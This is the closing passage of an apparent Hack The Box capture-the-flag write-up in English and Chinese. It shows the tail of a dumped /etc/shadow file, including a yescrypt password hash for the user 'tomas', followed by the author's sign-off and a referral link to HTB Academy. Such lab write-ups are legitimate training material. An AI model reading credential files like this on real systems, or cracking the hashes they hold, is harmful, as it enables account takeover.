systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19715:0:99999:7:::
tomas:$y$j9T$iBupKrKnYvDsG24KvgKi61$P9qTNx7BdVbyqWp5homuabzMA/vr.h3fds5VYDeMII3:19718:0:99999:7:::
lxd:!:19715::::::
_laurel:!:19936::::::

Thanks

Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!

感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!

Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.

新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。

使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)

Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)